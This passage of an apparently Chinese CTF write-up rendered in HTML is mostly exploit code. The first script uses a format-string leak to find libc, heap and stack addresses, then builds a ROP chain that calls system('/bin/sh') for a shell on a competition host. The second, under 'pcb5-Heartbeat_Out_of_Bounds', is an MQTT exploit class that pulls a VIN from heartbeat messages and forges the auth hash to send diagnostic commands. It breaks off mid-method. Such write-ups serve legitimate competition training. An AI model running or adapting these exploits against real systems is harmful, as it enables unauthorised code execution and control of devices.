p.recv(a)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">rl</span></span><span style="line-height: 26px;"><span leaf="">(a)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> p.recvuntil(a)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">inter</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    p.interactive()</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">get_addr</span></span><span style="line-height: 26px;"><span leaf="">(size)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> u64(p.recv(size).ljust(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x00&#39;</span></span><span leaf="">))</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">get_addr64</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> u64(p.recvuntil(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;\x7f&#34;</span></span><span leaf="">)[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-6</span></span><span leaf="">:].ljust(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;\x00&#39;</span></span><span leaf="">))</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">get_addr32</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> u32(p.recvuntil(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;\xf7&#34;</span></span><span leaf="">)[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-4</span></span><span leaf="">:])</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">get_sb</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> libc_base+libc.sym[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;system&#39;</span></span><span leaf="">],libc_base+libc.search(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;/bin/sh\x00&#34;</span></span><span leaf="">).__next__()</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">get_hook</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> libc_base+libc.sym[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;__malloc_hook&#39;</span></span><span leaf="">],libc_base+libc.sym[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;__free_hook&#39;</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">li = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> x : print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;\x1b[01;38;5;214m&#39;</span></span><span leaf=""> + x + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;\x1b[0m&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">ll = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> x : print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;\x1b[01;38;5;1m&#39;</span></span><span leaf=""> + x + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;\x1b[0m&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">context(os=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;linux&#39;</span></span><span leaf="">,arch=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;amd64&#39;</span></span><span leaf="">,log_level=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;debug&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">libc = ELF(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;./libc.so.6&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">elf = ELF(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;./pwn&#34;</span></span><span leaf="">)  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 注意确认目标文件名称是否正确</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># p = process(&#34;./pwn1&#34;)</span></span><span leaf=""><br/></span><span leaf="">p = remote(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;192.168.18.24&#34;</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">26004</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;gift@&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">base = int(p.recv(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">14</span></span><span leaf="">),</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">) - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x12c9</span></span><span leaf=""><br/></span><span leaf="">li(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;base: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{hex(base)}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">bss1 = base + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4050</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 执行核心逻辑</span></span><span leaf=""><br/></span><span leaf="">sl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;3&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">pause()</span><span leaf=""><br/></span><span leaf="">sl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;yes&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">pause()</span><span leaf=""><br/></span><span leaf="">sl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;yes&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">pause()</span><span leaf=""><br/></span><span leaf="">payload = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;a&#39;</span></span><span leaf="">*</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf=""> + p64(base+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1FB9</span></span><span leaf="">) + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;a&#39;</span></span><span leaf="">*(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2c</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-8</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-4</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-8</span></span><span leaf="">) + p64(base+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x11E0</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">s(payload)</span><span leaf=""><br/></span><span leaf="">pause()</span><span leaf=""><br/></span><span leaf="">sl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;2&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">sl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;yes&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">payload = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;%23$p--%7$p--%6$p&#39;</span></span><span leaf=""> + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;f&#39;</span></span><span leaf="">*</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8</span></span><span leaf=""><br/></span><span leaf="">s(payload)</span><span leaf=""><br/></span><span leaf="">pause()</span><span leaf=""><br/></span><span leaf="">sl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;0x&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;0x&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;年龄: 1\n&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">libc_base = int(p.recv(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">14</span></span><span leaf="">),</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">) - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x29d90</span></span><span leaf=""><br/></span><span leaf="">li(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;libc_base: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{hex(libc_base)}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">heap = int(p.recv(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">14</span></span><span leaf="">),</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">) - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8</span></span><span leaf=""><br/></span><span leaf="">li(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;heap: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{hex(heap)}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">rl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">stack = int(p.recv(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">14</span></span><span leaf="">),</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">li(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;stack: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{hex(stack)}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">system = libc_base + libc.sym[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;system&#34;</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">binsh = libc_base + next(libc.search(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;/bin/sh\x00&#34;</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">pop_rdi = libc_base + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x000000000002a3e5</span></span><span leaf=""><br/></span><span leaf="">add = libc_base + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00000000000a85a8</span></span><span leaf=""><br/></span><span leaf="">pop = libc_base + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x000000000002a2df</span></span><span leaf=""><br/></span><span leaf="">sl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;3&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">pause()</span><span leaf=""><br/></span><span leaf="">sl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;yes&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">pause()</span><span leaf=""><br/></span><span leaf="">sl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;yes&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">pause()</span><span leaf=""><br/></span><span leaf="">payload = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;a&#39;</span></span><span leaf="">*</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf=""> + p64(pop_rdi+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">) + p64(system) + p64(binsh) + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;a&#39;</span></span><span leaf="">*</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf=""> + p64(system)</span><span leaf=""><br/></span><span leaf="">s(payload)</span><span leaf=""><br/></span><span leaf="">pause()</span><span leaf=""><br/></span><span leaf="">sl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;2&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">pause()</span><span leaf=""><br/></span><span leaf="">sl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;yes&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">pause()</span><span leaf=""><br/></span><span leaf="">s(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;/bin/sh\x00&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">pause()</span><span leaf=""><br/></span><span leaf="">sl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">inter()</span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.5560538116591929" data-type="png" data-w="669" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030123" src="https://wechat2rss.xlab.app/img-proxy/?k=cbedee76&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFSWNdBArhUJx6JUKWplYCEX9jygBwkgPRIjkAicpeGYyOzCVP8Ps74xA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">pcb5-Heartbeat_Out_of_Bounds</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">国赛原题，VIN码都一样</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">#!/usr/bin/python3</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> time</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> json</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> threading</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> argparse</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> paho.mqtt.client </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> mqtt</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> pwn </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> *</span><span leaf=""><br/></span><span leaf="">context(log_level=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;debug&#34;</span></span><span leaf="">, os=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;linux&#34;</span></span><span leaf="">, arch=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;amd64&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">class</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">MQTTExploit</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;MQTT漏洞利用类&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">__init__</span></span><span style="line-height: 26px;"><span leaf="">(self, host: str, port: int)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">        self.host = host</span><span leaf=""><br/></span><span leaf="">        self.port = port</span><span leaf=""><br/></span><span leaf="">        self.topic_cmd = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;diag&#34;</span></span><span leaf=""><br/></span><span leaf="">        self.topic_resp = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;diag/resp&#34;</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 状态变量</span></span><span leaf=""><br/></span><span leaf="">        self.vin = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span leaf="">        self.vin_event = threading.Event()</span><span leaf=""><br/></span><span leaf="">        self.messages = []</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># MQTT客户端</span></span><span leaf=""><br/></span><span leaf="">        self.client = mqtt.Client(mqtt.CallbackAPIVersion.VERSION2)</span><span leaf=""><br/></span><span leaf="">        self.client.on_connect = self._on_connect</span><span leaf=""><br/></span><span leaf="">        self.client.on_message = self._on_message</span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">    @staticmethod</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">calc_auth</span></span><span style="line-height: 26px;"><span leaf="">(vin: str)</span></span><span leaf=""> -&gt; str:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;计算VIN的hash作为auth (hash31算法)&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">        h = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> ch </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> vin:</span><span leaf=""><br/></span><span leaf="">            h = (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">31</span></span><span leaf=""> * h + ord(ch)) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xffffffff</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{h:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">08</span></span><span leaf="">x}</span></span><span leaf="">&#34;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">_on_connect</span></span><span style="line-height: 26px;"><span leaf="">(self, client, userdata, flags, rc, properties=None)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;连接回调&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">        log.info(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;Connected with rc=</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{rc}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        client.subscribe(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;#&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">_on_message</span></span><span style="line-height: 26px;"><span leaf="">(self, client, userdata, msg)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;消息接收回调&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            payload = msg.payload.decode(errors=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;ignore&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            log.info(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{msg.topic}</span></span><span leaf="">] </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{payload}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            self.messages.append((msg.topic, payload))</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 解析心跳消息提取VIN</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.vin </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">is</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                    data = json.loads(payload)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;vin&#34;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> data:</span><span leaf=""><br/></span><span leaf="">                        self.vin = data[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;vin&#34;</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">                        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;=&#34;</span></span><span leaf=""> * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">50</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">                        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[+] 从心跳消息获取到 VIN: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{self.vin}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">                        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;=&#34;</span></span><span leaf=""> * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">50</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">                        log.success(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;Got VIN: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{self.vin}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">                        self.vin_event.set()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">except</span></span><span leaf=""> json.JSONDecodeError:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">pass</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">except</span></span><span leaf=""> Exception </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> e:</span><span leaf=""><br/></span><span leaf="">            log.warning(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;Message decode error: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{e}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">connect</span></span><span style="line-height: 26px;"><span leaf="">(self)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;连接MQTT服务器&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">        log.info(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;Connecting to </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{self.host}</span></span><span leaf="">:</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{self.port}</span></span><span leaf="">...&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        self.client.connect(self.host, self.port, keepalive=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">60</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        self.client.loop_start()</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">disconnect</span></span><span style="line-height: 26px;"><span leaf="">(self)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;断开连接&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">        self.client.loop_stop()</span><span leaf=""><br/></span><span leaf="">        self.client.disconnect()</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">publish</span></span><span style="line-height: 26px;"><span leaf="">(self, auth: str, cmd: str, arg: str)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;发送命令&#34;&#34;&#34;</span></span><span 